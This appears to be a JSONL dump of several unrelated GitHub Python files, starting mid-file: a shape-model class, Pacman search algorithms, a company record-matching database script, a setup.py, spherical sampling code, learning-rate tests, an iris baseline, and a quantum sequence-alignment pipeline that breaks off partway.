on the new samples. See [1] for details.\n max_n_components : `int` or ``None``, optional\n The maximum number of components that the model will keep.\n If ``None``, then all the components will be kept.\n verbose : `bool`, optional\n If ``True``, then information about the progress will be printed.\n\n References\n ----------\n .. [1] D. Ross, J. Lim, R.S. Lin, M.H. Yang. \"Incremental Learning for\n Robust Visual Tracking\". International Journal on Computer Vision,\n 2007.\n \"\"\"\n old_target = self.target\n aligned_shapes = align_shapes(shapes)\n self.model.increment(aligned_shapes, n_samples=n_shapes,\n forgetting_factor=forgetting_factor,\n verbose=verbose)\n if max_n_components is not None:\n self.model.trim_components(max_n_components)\n # Re-orthonormalize\n self._construct_similarity_model()\n # Reset the target given the new models\n self.set_target(old_target)\n\n def __str__(self):\n str_out = 'Point Distribution Model with Similarity Transform \\n' \\\n ' - total # components: {}\\n' \\\n ' - # similarity components: {}\\n' \\\n ' - # PCA components: {}\\n' \\\n ' - # active components: {} + {} = {}\\n' \\\n ' - centred: {}\\n' \\\n ' - # features: {}\\n' \\\n ' - kept variance: {:.2} {:.1%}\\n' \\\n ' - noise variance: {:.2} {:.1%}\\n' \\\n ' - components shape: {}\\n'.format(\n self.similarity_model.n_components + self.model.n_components,\n self.similarity_model.n_components, self.model.n_components,\n self.similarity_model.n_components, self.n_active_components,\n self.n_parameters, self.model.centred, self.model.n_features,\n self.model.variance(), self.model.variance_ratio(),\n self.model.noise_variance(), self.model.noise_variance_ratio(),\n self.model.components.shape)\n return str_out\n","repo_name":"papulke/face-of-art","sub_path":"menpofit/modelinstance.py","file_name":"modelinstance.py","file_ext":"py","file_size_in_byte":27320,"program_lang":"python","lang":"en","doc_type":"code","stars":251,"dataset":"github-code","pt":"61"} +{"seq_id":"23492756130","text":"# search.py\n# ---------\n# Licensing Information: You are free to use or extend these projects for\n# educational purposes provided that (1) you do not distribute or publish\n# solutions, (2) you retain this notice, and (3) you provide clear\n# attribution to UC Berkeley, including a link to http://ai.berkeley.edu.\n# \n# Attribution Information: The Pacman AI projects were developed at UC Berkeley.\n# The core projects and autograders were primarily created by John DeNero\n# (denero@cs.berkeley.edu) and Dan Klein (klein@cs.berkeley.edu).\n# Student side autograding was added by Brad Miller, Nick Hay, and\n# Pieter Abbeel (pabbeel@cs.berkeley.edu).\n\n\n\"\"\"\nIn search.py, you will implement generic search algorithms which are called by\nPacman agents (in searchAgents.py).\n\"\"\"\n\nimport util\nimport sys\n\nclass SearchProblem:\n \"\"\"\n This class outlines the structure of a search problem, but doesn't implement\n any of the methods (in object-oriented terminology: an abstract class).\n\n You do not need to change anything in this class, ever.\n \"\"\"\n\n def getStartState(self):\n \"\"\"\n Returns the start state for the search problem.\n \"\"\"\n util.raiseNotDefined()\n\n def isGoalState(self, state):\n \"\"\"\n state: Search state\n\n Returns True if and only if the state is a valid goal state.\n \"\"\"\n util.raiseNotDefined()\n\n def getSuccessors(self, state):\n \"\"\"\n state: Search state\n\n For a given state, this should return a list of triples, (successor,\n action, stepCost), where 'successor' is a successor to the current\n state, 'action' is the action required to get there, and 'stepCost' is\n the incremental cost of expanding to that successor.\n \"\"\"\n util.raiseNotDefined()\n\n def getCostOfActions(self, actions):\n \"\"\"\n actions: A list of actions to take\n\n This method returns the total cost of a particular sequence of actions.\n The sequence must be composed of legal moves.\n \"\"\"\n util.raiseNotDefined()\n\n\ndef tinyMazeSearch(problem):\n \"\"\"\n Returns a sequence of moves that solves tinyMaze. For any other maze, the\n sequence of moves will be incorrect, so only use this for tinyMaze.\n \"\"\"\n from game import Directions\n s = Directions.SOUTH\n w = Directions.WEST\n return [s, s, w, s, w, w, s, w]\n\ndef depthFirstSearch(problem: SearchProblem):\n \"\"\"\n Search the deepest nodes in the search tree first.\n\n Your search algorithm needs to return a list of actions that reaches the\n goal. Make sure to implement a graph search algorithm.\n\n To get started, you might want to try some of these simple commands to\n understand the search problem that is being passed in:\n\n print(\"Start:\", problem.getStartState())\n print(\"Is the start a goal?\", problem.isGoalState(problem.getStartState()))\n print(\"Start's successors:\", problem.getSuccessors(problem.getStartState()))\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n return DFSHelper(problem, [], [], problem.getStartState(), None)\n\ndef DFSHelper(problem, pathSoFar, discovered, state, move):\n disc = discovered.copy()\n path = pathSoFar.copy()\n disc.append(state)\n if (move):\n path.append(move)\n if (problem.isGoalState(state)):\n return path\n for successorTriple in problem.getSuccessors(state):\n if (successorTriple[0] not in discovered):\n answer = DFSHelper(problem, path, disc, successorTriple[0], successorTriple[1])\n if (answer):\n return answer\n return []\n \n\ndef breadthFirstSearch(problem: SearchProblem):\n \"\"\"Search the shallowest nodes in the search tree first.\"\"\"\n \"*** YOUR CODE HERE ***\"\n sys.setrecursionlimit(20000)\n q = util.Queue()\n q.push([problem.getStartState(), []])\n return BFSHelper(problem, [problem.getStartState()], q)\n\ndef BFSHelper(problem, discovered, que):\n disc = discovered.copy()\n if que.isEmpty():\n return\n nextNode = que.pop()\n state = nextNode[0]\n pathSoFar = nextNode[1]\n if (problem.isGoalState(state)):\n return pathSoFar\n for successorTriple in problem.getSuccessors(state):\n s = successorTriple[0]\n if (successorTriple[0] not in disc):\n disc.append(s)\n path = pathSoFar.copy()\n path.append(successorTriple[1])\n que.push([s, path])\n return BFSHelper(problem, disc, que)\n\ndef uniformCostSearch(problem: SearchProblem):\n \"\"\"Search the node of least total cost first.\"\"\"\n \"*** YOUR CODE HERE ***\"\n pq = PriorityQueWithPath()\n pq.push(problem.getStartState(), problem.getCostOfActions([]), [])\n return UCSHelper(problem, [problem.getStartState()], pq, nullHeuristic)\n\ndef UCSHelper(problem, discovered, pq, heuristic):\n disc = discovered.copy()\n if pq.isEmpty():\n return\n state, pathSoFar, costSoFar = pq.pop()\n disc.append(state)\n if (problem.isGoalState(state)):\n return pathSoFar\n for successorTriple in problem.getSuccessors(state):\n s = successorTriple[0]\n if (s not in disc):\n path = pathSoFar.copy()\n move = successorTriple[1]\n path.append(move)\n pq.push(s, problem.getCostOfActions(path) + heuristic(s, problem), path)\n return UCSHelper(problem, disc, pq, heuristic)\n\ndef nullHeuristic(state, problem=None):\n \"\"\"\n A heuristic function estimates the cost from the current state to the nearest\n goal in the provided SearchProblem. This heuristic is trivial.\n \"\"\"\n return 0\n\ndef aStarSearch(problem: SearchProblem, heuristic=nullHeuristic):\n \"\"\"Search the node that has the lowest combined cost and heuristic first.\"\"\"\n \"*** YOUR CODE HERE ***\"\n sys.setrecursionlimit(20000)\n pq = PriorityQueWithPath()\n pq.push(problem.getStartState(), problem.getCostOfActions([]), [])\n return UCSHelper(problem, [problem.getStartState()], pq, heuristic)\n\n\n# Abbreviations\nbfs = breadthFirstSearch\ndfs = depthFirstSearch\nastar = aStarSearch\nucs = uniformCostSearch\n\nclass PriorityQueWithPath:\n \"\"\" Implements a priority que structure by making use of the PriorityQue class\n in utils.py, but also stores the path and the cost to the given item alongside it.\"\"\"\n def __init__(self):\n self.pq = util.PriorityQueue()\n self.dict = {}\n self.costs = {}\n \n def push(self, item, priority, path):\n if item in self.dict:\n self.update(item, priority, path)\n return\n self.pq.push(item, priority)\n self.dict[item] = path\n self.costs[item] = priority\n \n def pop(self):\n item = self.pq.pop()\n path = self.dict.pop(item)\n cost = self.costs.pop(item)\n return item, path, cost\n \n def isEmpty(self):\n return self.pq.isEmpty()\n\n def update(self, item, priority, path):\n if priority < self.costs[item]:\n self.pq.update(item, priority)\n self.dict[item] = path\n self.costs[item] = priority\n\n","repo_name":"tibetduman/AI","sub_path":"proj1/search/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":7062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15847426426","text":"\"\"\"\nmultiprocessingを使用した高速な名寄せ\n\"\"\"\nfrom typing import Any\nfrom crawler_utils.db import DBAdapter, BASE\nfrom sqlalchemy import (\n TEXT,\n Integer,\n Column,\n TIMESTAMP,\n func\n)\nfrom identipy import IdentipyV2\nimport pathlib \nimport sys\nfrom identipy.utils.logger import log\n\nimport datetime\n\n\n\"\"\"\n.envの中身 sample\n\nNAME_COL_LIST = company_name\nDOMAIN_COL_LIST = company_url\nPHONE_NUMBER_COL_LIST = phone_number\nADDRESS_COL_LIST = location\nPRESIDENT_COL_LIST = representative_name\nSINGLE = 0\nDOUBLE = 1\nTRIPLE = 1\n\nKEY_COL = id\n\"\"\"\n\nENV_PATH = pathlib.Path().cwd()\nprint(ENV_PATH)\n\n# TODO : 本番とテストを引数で指定して分ける\n\n# mart_adapter = DBAdapter( # nosec\n# dotenv_path=f\"{ENV_PATH}/.env\",\n# env_db_host=\"MART_DB_HOST\", # DB_HOST # SD_DB_HOST # MART_DB_HOST\n# env_db_name=\"MART_DB_NAME\", # DB_NAME # SD_DB_NAME # MART_DB_NAME\n# env_db_user=\"MART_DB_USER\", # DB_USER # SD_DB_USER # MART_DB_USER\n# env_db_pass=\"MART_DB_PASS\", # DB_PASS # SD_DB_PASS # MART_DB_PASS\n# db_type=\"postgresql\",\n# )\n\nmart_adapter = DBAdapter( # nosec\n dotenv_path=f\"{ENV_PATH}/.env\",\n env_db_host=\"DB_HOST\", # DB_HOST # SD_DB_HOST # MART_DB_HOST\n env_db_name=\"DB_NAME\", # DB_NAME # SD_DB_NAME # MART_DB_NAME\n env_db_user=\"DB_USER\", # DB_USER # SD_DB_USER # MART_DB_USER\n env_db_pass=\"DB_PASS\", # DB_PASS # SD_DB_PASS # MART_DB_PASS\n db_type=\"postgresql\",\n)\n\nclass DBStartupCompanies(BASE):\n \"\"\"\n workport_company の DB操作を行うクラス\n \"\"\"\n\n __tablename__ = \"workport_company\"\n id = Column(Integer, primary_key=True, autoincrement=True, nullable=False)\n company_id = Column(TEXT, nullable=False)\n corporate_number = Column(Integer)\n company_name = Column(TEXT)\n location = Column(TEXT)\n created_at = Column(TIMESTAMP(timezone=True), server_default=func.now(), nullable=False)\n\n\n def update_records(self, company_list: list[dict[str, Any]]) -> None:\n \"\"\"\n レコードをまとめて一括update\n \"\"\"\n mart_adapter.session.bulk_update_mappings(DBStartupCompanies, company_list)\n mart_adapter.session.commit()\n\n def select_added_new_data(self) -> dict:\n \"\"\"\n 今日の日付で追加されたデータを抽出\n \"\"\"\n today = datetime.datetime.today().date()\n res = mart_adapter.session.query(DBStartupCompanies).filter(func.DATE(DBStartupCompanies.created_at) == today, DBStartupCompanies.corporate_number == None).all()\n return dict(zip([r.id for r in res], [r for r in res]))\n\n\nif __name__ == \"__main__\":\n\n identipy = IdentipyV2(dotenv_path=f'{ENV_PATH}/.env')\n data = DBStartupCompanies().select_added_new_data()\n log.info(\"新規追加分の名寄せ開始\")\n log.info(f\"全 {len(data)}件の新規企業を名寄せします\")\n\n if len(data):\n update_data = identipy.run([data[key].__dict__ for key in data])\n update_list = []\n for update in update_data:\n company = data[update['id']]\n company.corporate_number = int(update['corporate_number'])\n update_list.append(vars(company))\n DBStartupCompanies().update_records(update_list)\n else:\n log.info(\"名寄せするデータがありません\")","repo_name":"gwonin-kenji/workport-scrapy-crawler","sub_path":"workport_crawler/identification.py","file_name":"identification.py","file_ext":"py","file_size_in_byte":3290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18739267889","text":"import setuptools\nimport os\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nscripts = [os.path.join(\"bin\", script) for script in os.listdir(\"bin\")]\n\nsetuptools.setup(\n name=\"c3pp\", # Replace with your own username\n version=\"2.5.0\",\n author=\"Trygve Leithe Svalheim\",\n author_email=\"trygvels@astro.uio.no\",\n description=\"A commander3 postprocessing tool\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/trygvels/c3pp\",\n packages=setuptools.find_packages(),\n include_package_data=True,\n scripts=scripts,\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n install_requires=[\n 'healpy',\n 'click',\n 'numpy',\n 'matplotlib',\n 'numba',\n 'pathlib',\n 'tqdm',\n 'pandas',\n 'seaborn',\n 'cmasher',\n 'plotly',\n 'brokenaxes',\n 'camb',\n ],\n python_requires=\">=3.6\",\n)\n","repo_name":"Cosmoglobe/c3pp","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"40110061721","text":"#################################################################################\n# ______ ____ ___ # \n# / ____/________ __ __/ __ \\____ ___ _|__ \\ #\n# / / __/ ___/ __ `/ | / / /_/ / __ `/ / / /_/ / #\n# / /_/ / / / /_/ /| |/ / _, _/ /_/ / /_/ / __/ #\n# \\____/_/ \\__,_/ |___/_/ |_|\\__,_/\\__, /____/ #\n# /____/ #\n#################################################################################\n# Jorge I. Zuluaga (C) 2019 #\n#################################################################################\n#!/usr/bin/env python\n# coding: utf-8\n\n# # GravRay Sampling Module\n\nfrom gravray import *\n\nget_ipython().run_cell_magic('javascript', '', 'IPython.notebook.kernel.execute(\\'FILE=\"\\' + IPython.notebook.notebook_name + \\'\"\\')')\n\nget_ipython().magic('load_ext autoreload')\nget_ipython().magic('autoreload 2')\n\n# This module is based on fibpy by Martin Roberts, source code: https://github.com/matt77hias/fibpy\n\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nget_ipython().magic('matplotlib nbagg')\n\nget_ipython().magic('matplotlib nbagg')\n\nclass Sample(object):\n \"\"\"\n Class of sample\n \n Initialization attributes:\n N: Number of samples, int.\n \n Secondary attributes:\n dim: Dimension of samples, int.\n ss: Samples in cartesian coordinates, numpy array (Nx3)\n pp: Samples in polar or spherical coordinates, numpy array (Nx3)\n dmin, dmed, dmax: Minimum, median and maximum distance, float\n\n Private attribute:\n _purge: Does the sample need to be purged? (default True), boolean\n \n Other attributes:\n ds: minimum distances of all points, numpy float (N)\n dran: range of distances, float\n dstar: measure of distances (sqrt(N)*dmed), float\n NOTE: Typically this value is between 2.4 and 3.4 \n cargs: arguments for the circumference in polar, dictionary\n wargs: arguments for the sphere in 3d space, dictionary\n \"\"\"\n def __init__(self,N):\n #Basic\n self.N=N\n \n #Derivative\n self.dim=0\n self.ss=None\n self.pp=None\n self.dmin=self.dmed=self.dmax=0\n \n #Purge\n self._purge=True\n \n #Plotting\n self.cargs=dict(color=\"k\",fill=False,alpha=0.3)\n self.wargs=dict(color=\"k\",lw=0.1)\n \n def _closestDistance(self,r,rs):\n \"\"\"\n Get the minimum distance from point p to other points\n \n Parameter:\n r: coordinates of the point, numpy array (3)\n rs: coordinates of the points, numpy array (N)\n \n Return:\n dmin: minimum distance, float\n \"\"\"\n deltas=rs-r\n dist=np.einsum('ij,ij->i',deltas,deltas)\n imin=np.argsort(dist)[1]\n return np.sqrt(dist[imin])\n\n def _calcDistances(self):\n \"\"\"\n Calculate the minimum distances of all points in the sample\n \"\"\"\n self.ds=np.array([self._closestDistance(self.ss[i],self.ss) for i in range(len(self.ss))])\n self.dmin=self.ds.min()\n self.dmax=self.ds.max()\n self.dmed=np.median(self.ds)\n self.dran=self.dmax-self.dmin\n self.dstar=np.sqrt(self.N)*self.dmed\n \n def purgeSample(self,tol=0.5):\n \"\"\"\n Purge sample, ie. remove points close than a given threshold.\n \n Optional parameters:\n tol: distance to purge, ie. if dmin1 smooth)\n \n Return: None\n \"\"\"\n shift = 1.0 if perturbation == 0 else self.N*np.random.random()\n\n ga = np.pi * (3.0 - np.sqrt(5.0))\n\n # Boundary points\n np_boundary = round(boundary * np.sqrt(self.N))\n\n self.dim=2\n self.ss = np.zeros((self.N,self.dim))\n self.pp = np.zeros((self.N,self.dim))\n j = 0\n for i in range(self.N):\n if i > self.N - (np_boundary + 1):\n r = 1.0\n else:\n r = np.sqrt((i + 0.5) / (self.N - 0.5 * (np_boundary + 1)))\n phi = ga * (i + shift)\n self.ss[j,:] = np.array([r * np.cos(phi), r * np.sin(phi)])\n self.pp[j,:] = np.array([r,np.mod(phi,2*np.pi)])\n j += 1\n\n def genUnitHemisphere(self,perturbation=1,up=True):\n \"\"\"\n Sample points in the unit hemisphere following fibonacci spiral\n \n Optional parameters:\n perturbation: type of perturbation (0 normal perturbation, 1 random perturbation), int\n up: side of hemisphere (True for upper hemisphere), boolean\n \n Return: None\n \"\"\"\n n = 2 * self.N\n rn = range(self.N,n) if up else range(self.N) \n\n shift = 1.0 if perturbation == 0 else n * np.random.random()\n\n ga = np.pi * (3.0 - np.sqrt(5.0))\n offset = 1.0 / self.N\n\n self.dim=3\n self.ss = np.zeros((self.N,self.dim))\n self.pp = np.zeros((self.N,self.dim))\n j = 0\n for i in rn:\n phi = ga * ((i + shift) % n)\n cos_phi = np.cos(phi)\n sin_phi = np.sin(phi)\n cos_theta = ((i + 0.5) * offset) - 1.0\n theta=np.arccos(cos_theta)\n sin_theta = np.sqrt(1.0 - cos_theta*cos_theta)\n self.ss[j,:] = np.array([cos_phi * sin_theta, sin_phi * sin_theta, cos_theta])\n self.pp[j,:] = np.array([1,np.mod(phi,2*np.pi),np.pi/2-theta])\n j += 1\n\n def genUnitSphere(self,perturbation=1):\n \"\"\"\n Sample points in the unit sphere following fibonacci spiral\n \n Optional parameters:\n perturbation: type of perturbation (0 normal perturbation, 1 random perturbation), int\n \n Return: None\n \"\"\"\n\n shift = 1.0 if perturbation == 0 else self.N * np.random.random()\n\n ga = np.pi * (3.0 - np.sqrt(5.0))\n offset = 2.0 / self.N\n \n self.dim=3\n self.ss = np.zeros((self.N,self.dim))\n self.pp = np.zeros((self.N,self.dim))\n j = 0\n for i in range(self.N):\n phi = ga * ((i + shift) % self.N)\n cos_phi = np.cos(phi)\n sin_phi = np.sin(phi)\n cos_theta = ((i + 0.5) * offset) - 1.0\n sin_theta = np.sqrt(1.0 - cos_theta*cos_theta)\n theta=np.arccos(cos_theta) \n self.ss[j,:] = np.array([cos_phi * sin_theta, sin_phi * sin_theta, cos_theta])\n self.pp[j,:] = np.array([1,np.mod(phi,2*np.pi),np.pi/2-theta])\n j += 1\n\n def genCosineWeightedUnitHemisphere(self,perturbation=1):\n \"\"\"\n Sample points in the unit hemisphere (with density weighted accordiging to cosine of colatitude)\n following fibonacci spiral\n \n Optional parameters:\n perturbation: type of perturbation (0 normal perturbation, 1 random perturbation), int\n \n Return: None\n \"\"\"\n\n shift = 1.0 if perturbation == 0 else self.N * np.random.random()\n\n ga = np.pi * (3.0 - np.sqrt(5.0))\n\n self.dim=3\n self.ss = np.zeros((self.N,self.dim))\n self.pp = np.zeros((self.N,self.dim))\n j = 0\n for i in range(self.N):\n sin_theta = np.sqrt((i + 0.5) / (self.N - 0.5))\n cos_theta = np.sqrt(1.0 - sin_theta*sin_theta)\n phi = ga * (i + shift)\n cos_phi = np.cos(phi)\n sin_phi = np.sin(phi)\n theta=np.arccos(cos_theta) \n self.ss[j,:] = np.array([cos_phi * sin_theta, sin_phi * sin_theta, cos_theta])\n self.pp[j,:] = np.array([1,np.mod(phi,2*np.pi),np.pi/2-theta])\n j += 1\n \n # Plot methods\n def _setEqualAspectRatio2D(self,xs,ys,alpha=1.5,delta=0.0):\n self.ax.set_aspect('equal')\n\n mn = np.array([xs.min(), ys.min()])\n mx = np.array([xs.max(), ys.max()])\n d = 0.5 * (mx - mn)\n c = mn + d\n d = alpha * np.max(d) + delta\n\n self.ax.set_xlim(c[0] - d, c[0] + d)\n self.ax.set_ylim(c[1] - d, c[1] + d)\n\n def _setEqualAspectRatio3D(self,xs,ys,zs,alpha=1.5,delta=0.0):\n self.ax.set_aspect('equal')\n\n mn = np.array([xs.min(), ys.min(), zs.min()])\n mx = np.array([xs.max(), ys.max(), zs.max()])\n d = 0.5 * (mx - mn)\n c = mn + d\n d = alpha * np.max(d) + delta\n\n self.ax.set_xlim(c[0] - d, c[0] + d)\n self.ax.set_ylim(c[1] - d, c[1] + d)\n self.ax.set_zlim(c[2] - d, c[2] + d)\n\n def updateCircleArgs(self,**args):\n self.cargs.update(args)\n \n def updateSphereArgs(self,**args):\n self.wargs.update(args)\n \n def plotSample(self,**args):\n sargs=dict(c='k',s=1.5)\n sargs.update(args)\n if self.dim==2: \n self.fig,self.ax=plt.subplots(1,1)\n self.ax.scatter(self.ss[:,0],self.ss[:,1],**sargs)\n self.ax.add_patch(plt.Circle((0,0),1,**self.cargs))\n self._setEqualAspectRatio2D(self.ss[:,0],self.ss[:,1])\n else:\n self.fig=plt.figure()\n self.ax=plt.gca(projection='3d')\n self.ax.scatter(self.ss[:,0],self.ss[:,1],self.ss[:,2],**sargs)\n u,v=np.mgrid[0:2*np.pi:20j,0:np.pi:10j]\n x=np.cos(u)*np.sin(v)\n y=np.sin(u)*np.sin(v)\n z=np.cos(v)\n self.ax.plot_wireframe(x,y,z,**self.wargs)\n self._setEqualAspectRatio3D(self.ss[:,0],self.ss[:,1],self.ss[:,2])\n\n","repo_name":"seap-udea/GRT","sub_path":"gravray/sampling.py","file_name":"sampling.py","file_ext":"py","file_size_in_byte":10471,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"6097577919","text":"import numpy as np\n\nfrom cyclic_boosting import learning_rate\n\n\ndef test_constant_learn_rate_one():\n assert learning_rate.constant_learn_rate_one(np.random.randint(100), np.random.randint(100), None) == 1.0\n\n\ndef test_linear_learn_rate():\n iterations = np.arange(1, 11)\n max_iter = np.max(iterations)\n expected = np.linspace(1 / max_iter, 1, len(iterations))\n np.testing.assert_allclose(expected, learning_rate.linear_learn_rate(iterations, max_iter))\n\n\ndef test_logistic_learn_rate():\n for i in range(30):\n max_iter = i + 2\n iterations = np.arange(1, max_iter)\n learn_rate = learning_rate.logistic_learn_rate(iterations, max_iter)\n assert 1 - learn_rate[-1] < 0.05\n assert np.all(learn_rate > 0.0)\n assert np.all(learn_rate < 1.0)\n assert np.all(np.diff(learn_rate) > 0.0)\n\n\ndef test_half_linear_learn_rate():\n expected = np.array([0.2, 0.4, 0.6, 0.8, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0])\n rates = learning_rate.half_linear_learn_rate(np.arange(1, 11), 10)\n np.testing.assert_allclose(rates, expected)\n\n expected = np.array([0.66666667, 1.0, 1.0])\n rates = learning_rate.half_linear_learn_rate(np.arange(1, 4), 3)\n np.testing.assert_allclose(rates, expected)\n\n expected = np.array([1.0, 1.0])\n rates = learning_rate.half_linear_learn_rate(np.arange(1, 3), 2)\n np.testing.assert_allclose(rates, expected)\n\n expected = np.array([1.0])\n rates = learning_rate.half_linear_learn_rate(np.arange(1, 2), 1)\n np.testing.assert_allclose(rates, expected)\n","repo_name":"Blue-Yonder-OSS/cyclic-boosting","sub_path":"tests/test_learning_rate.py","file_name":"test_learning_rate.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"61"} +{"seq_id":"72616835075","text":"import random as rand\nimport numpy\nfrom sklearn import datasets\n\nclass HardCoded:\n def train(self, valuesArray):\n return valuesArray\n def predict(self, valuesArray):\n total = 150-105\n a = []\n for index in range(total):\n a.append(0)\n return a\n#found at http://stackoverflow.com/questions/4601373/better-way-to-shuffle-two-numpy-arrays-in-unison\ndef shuffle_in_unison(a, b):\n rng_state = numpy.random.get_state()\n numpy.random.shuffle(a)\n numpy.random.set_state(rng_state)\n numpy.random.shuffle(b)\n\n#gets iris dataset and shuffles it\niris = datasets.load_iris()\nrand.seed()\nshuffle_in_unison(iris.target, iris.data)\n\n#Stores parts of iris dataset into comparable arrays\ntrainArray = iris.data[:105], iris.target[:105]\npredictArray = iris.target[105:]\n\n#Sends data to the training then sends predicted object\nblackBox = HardCoded()\nblackBox.train(trainArray)\npredictedValues = blackBox.predict(predictArray)\n\ncount = 0\nfor index in range(len(predictArray)):\n if predictArray[index] == predictedValues[index]:\n count = count+1\n\nprint(\"The percent correct is: \" + str(count / len(predictArray)))","repo_name":"jmmmel/CS450","sub_path":"ExperimentShell/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40890726495","text":"#!/usr/bin/env python3\n\n\"\"\"qmsa.py: Pipeline script for driving MSA via a D-Wave simulator\"\"\"\n\nimport os\nimport argparse\nimport subprocess\nimport time\nfrom msa2qubo import Msa2Qubo\nfrom qubo2msa import Qubo2Msa\n\n\ngurobi_available = True\ntry:\n\timport gurobipy\n\timport gurobi\nexcept ImportError:\n\tgurobi_available = False\n\tpass\n\n__author__ = \"Dan Mapleson, Luis Yanes, Katie Barr, Sophie Kirkwood and Tim Stitt\"\n__copyright__ = \"Copyright 2016, Quantum MSA\"\n__credits__ = [\"Dan Mapleson\", \"Luis Yanes\", \"Katie Barr\",\n \"Sophie Kirkwood\", \"Tim Stitt\"]\n__license__ = \"GPLv3\"\n__version__ = \"0.0.1\"\n__maintainer__ = \"Dan Mapleson,\"\n__email__ = \"daniel.mapleson@earlham.ac.uk\"\n__status__ = \"Prototype\"\n\n\ndef main():\n\tparser = argparse.ArgumentParser(\"Perform MSA using D-Wave Simulator\")\n\tparser.add_argument(\"input\", help=\"The file containing sequences to align (to be converted into QUBO)\")\n\tparser.add_argument(\"-o\", \"--output_dir\", required=True,\n\t\t\t\t\t\thelp=\"The output directory\")\n\tparser.add_argument(\"-P\", type=int, default=1, help=\"The maximum gap size allowed in the MSA (will round up to nearest power of 2)\")\n\tparser.add_argument(\"-l0\", \"--invalid_position_penalty\", type=float, default=10.0,\n\t\t\t\t\t\thelp=\"The penalty to apply for invalid sequence ordering (must be much larger than --gap_weighting)\")\n\tparser.add_argument(\"-l1\", \"--gap_penalty\", type=float, default=0.2,\n\t\t\t\t\t\thelp=\"The penalty to apply to any detected gaps\")\n\tparser.add_argument(\"-l2\", \"--invalid_reward_penalty\", type=float, default=10.0,\n\t\t\t\t\t\thelp=\"The penalty to apply to matches in different columns (must be greater than 1.0)\")\n\tparser.add_argument(\"-d\", \"--delta\", type=float, default=5.0,\n\t\t\t\t\t\thelp=\"The delta factor that controls cubic to quadratic transformation (must be greater than 1.0)\")\n\tparser.add_argument(\"-t\", \"--target\", type=float, default=0.0,\n\t\t\t\t\t\thelp=\"Allows the user to override the expected target energy of the solution (default of 0.0 means use the system defined version)\")\n\tparser.add_argument(\"-n\", \"--repeats\", type=int, default=20,\n\t\t\t\t\t\thelp=\"This optional argument controls the argument of the same name in qbsolv. It denotes, once a new optimal value is found, to repeat the main loop of the algorithm this number of times with no change in optimal value before stopping. The default value is 20.\")\n\tparser.add_argument(\"-s\", \"--scoring\", default=None,\n\t\t\t\t\t\thelp=\"The scoring system to use. Leave unset to use score of 1 for a match and 0 for mismatch. Available options: [BLOSUM62]\")\n\tparser.add_argument(\"--do_iqp\", action='store_true', default=False, help=\"If set, run a mixed integer quadratic solver (gurobi) on the integer representation of the problem.\")\n\tparser.add_argument(\"-r\", \"--reduced\", action='store_true', default=False, help=\"Run in reduced mode, only E0 and E1 will be active\")\n\tparser.add_argument(\"-v\", \"--verbose\", action='store_true', default=False, help=\"Display extra information\")\n\targs = parser.parse_args()\n\n\tif args.do_iqp and not gurobi_available:\n\t\tprint(\"Cannot run IQP as gurobi is not available on your system. Please rerun without \\\"--do_iqp\\\" or install gurobi into your python environment.\")\n\n\tstartall = time.time()\n\n\tif not os.path.exists(args.output_dir):\n\t\tos.makedirs(args.output_dir)\n\n\n\tprint(\"Converting problem into QUBO form\")\n\tprint(\"---------------------------------\")\n\tprint()\n\n\tstart1 = time.time()\n\tm2q = Msa2Qubo(input=args.input, output=args.output_dir + \"/qmsa.qubo\", P=args.P, verbose=args.verbose, delta=args.delta, l0=args.invalid_position_penalty, l1=args.gap_penalty, l2=args.invalid_reward_penalty, reduced=args.reduced, scoring=args.scoring)\n\tm2q.run()\n\tend1 = time.time()\n\tprint(\"Time taken to create QUBO file (s): \", \"{0:.2f}\".format(round(end1 - start1,2)))\n\n\tprint()\n\tprint()\n\tprint(\"Solving QUBO problem\")\n\tprint(\"--------------------\")\n\tprint()\n\n\t# Assume qbsolv in on the PATH\n\tstart2 = time.time()\n\ttarget_energy = args.target if args.target != 0.0 else m2q.energy\n\ttarget_energy_str = \"-T \" + str(target_energy) if args.target else \"\"\n\tcmd_args = ['qbsolv', '-i', args.output_dir + \"/qmsa.qubo\", target_energy_str, \"-n\", str(args.repeats), \"-o\", args.output_dir + \"/qmsa.solution\"]\n\t#cmd_args = ['qbsolv', '-i', args.output_dir + \"/qmsa.qubo\", \"-n\", str(args.repeats), \"-o\", args.output_dir + \"/qmsa.solution\"]\n\tprint(\"Executing:\", \" \".join(cmd_args))\n\tsubprocess.call(cmd_args)\n\tsubprocess.call(['cat', args.output_dir + \"/qmsa.solution\"])\n\tend2 = time.time()\n\tprint(\"Time taken to solve QUBO problem (s): \", \"{0:.2f}\".format(round(end2 - start2,2)))\n\n\tprint()\n\tprint()\n\tprint(\"Interpretting from solution\")\n\tprint(\"---------------------------\")\n\tprint()\n\n\tstart3 = time.time()\n\tq2m = Qubo2Msa(settings=args.output_dir + \"/qmsa.qubo.settings\", solution=args.output_dir + \"/qmsa.solution\", input=args.input, output=args.output_dir + \"/qmsa.msa\", active=m2q.active, target_energy=m2q.energy, verbose=args.verbose)\n\tq2m.bvm(m2q.bvc)\n\tq2m.run()\n\tend3 = time.time()\n\tprint(\"Time taken to interpret solution (s): \", \"{0:.2f}\".format(round(end3 - start3,2)))\n\n\n\tif args.do_iqp and gurobi_available:\n\t\tprint()\n\t\tprint()\n\t\tprint(\"Solving Mixed Integer Quadratic Programming 